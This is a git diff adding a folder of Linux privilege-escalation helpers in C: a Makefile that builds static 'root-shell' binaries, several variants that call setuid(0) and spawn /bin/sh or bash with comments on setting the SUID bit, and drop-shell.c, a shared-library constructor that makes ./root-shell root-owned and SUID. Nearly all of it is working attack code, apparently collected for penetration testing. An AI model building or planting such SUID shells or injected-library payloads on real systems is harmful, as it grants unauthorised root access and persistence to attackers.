diff --git a/Miscellaneous/source-code/c-linux/Makefile b/Miscellaneous/source-code/c-linux/Makefile new file mode 100644 index 00000000..768aa03b --- /dev/null +++ b/Miscellaneous/source-code/c-linux/Makefile @@ -0,0 +1,21 @@ +# Using x64? $ sudo apt instlal -y libc6-dev-i386 + +all: x64 x86 + +create: + mkdir -p bin/ + +x64: create + gcc -m64 -static -o bin/root-shellx64 root-shell.c + +x86: create + gcc -m32 -static -o bin/root-shellx86 root-shell.c + +strip: + strip bin/* + +result: + file bin/* + +clean: + rm -rf bin/ diff --git a/Miscellaneous/source-code/c-linux/drop-shell.c b/Miscellaneous/source-code/c-linux/drop-shell.c new file mode 100644 index 00000000..93089bca --- /dev/null +++ b/Miscellaneous/source-code/c-linux/drop-shell.c @@ -0,0 +1,16 @@ +// gcc -fPIC -shared -o drop-shell drop-shell.c +#include +#include +#include + +// https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html +__attribute__((__constructor__)) + +void dropshell(void) { + // Set root user to be owner, and SUID permission + chown("./root-shell", 0, 0); + chmod("./root-shell", 04755); + + // Feedback + printf("[+] Done!\n"); +} diff --git a/Miscellaneous/source-code/c-linux/root-shell.c b/Miscellaneous/source-code/c-linux/root-shell.c new file mode 100644 index 00000000..5a1dba04 --- /dev/null +++ b/Miscellaneous/source-code/c-linux/root-shell.c @@ -0,0 +1,12 @@ +// $ gcc -static -o root-shell root-shell.c +// $ chmod u+s root-shell + +#include +#include + +int main(void) { + setuid(0); + setgid(0); + system("/bin/sh"); + return 0; +} diff --git a/Miscellaneous/source-code/c-linux/root-shell2.c b/Miscellaneous/source-code/c-linux/root-shell2.c new file mode 100644 index 00000000..a0c34559 --- /dev/null +++ b/Miscellaneous/source-code/c-linux/root-shell2.c @@ -0,0 +1,10 @@ +// $ gcc -o root-shell2 root-shell2.c + +#include + +int main() +{ + setuid(0); + execl("/bin/bash", "bash", (char *)NULL); + return 0; +} diff --git a/Miscellaneous/source-code/c-linux/root-shell3.c b/Miscellaneous/source-code/c-linux/root-shell3.c new file mode 100644 index 00000000..8ccc8d87 --- /dev/null +++ b/Miscellaneous/source-code/c-linux/root-shell3.c @@ -0,0 +1,16 @@ +// $ gcc -static -o root-shell3 root-shell3.c +// $ chmod u+s root-shell3 + +#include +#include + +int main(void) { + setuid(0); + setgid(0); + seteuid(0); + setegid(0); + + execvp("/bin/sh", NULL, NULL); + + return 0; +} diff --git a/Miscellaneous/source-code/c-linux/tiny-shell.c b/Miscellaneous/source-code/c-linux/tiny-shell.c new file mode 100644 index 00000000..18f31d08 --- /dev/null +++ b/Miscellaneous/source-code/c-linux/tiny-shell.c @@ -0,0 +1,2 @@ +// $ gcc tiny-shell.c +int main(void){setresuid(0, 0, 0);system("/bin/sh");}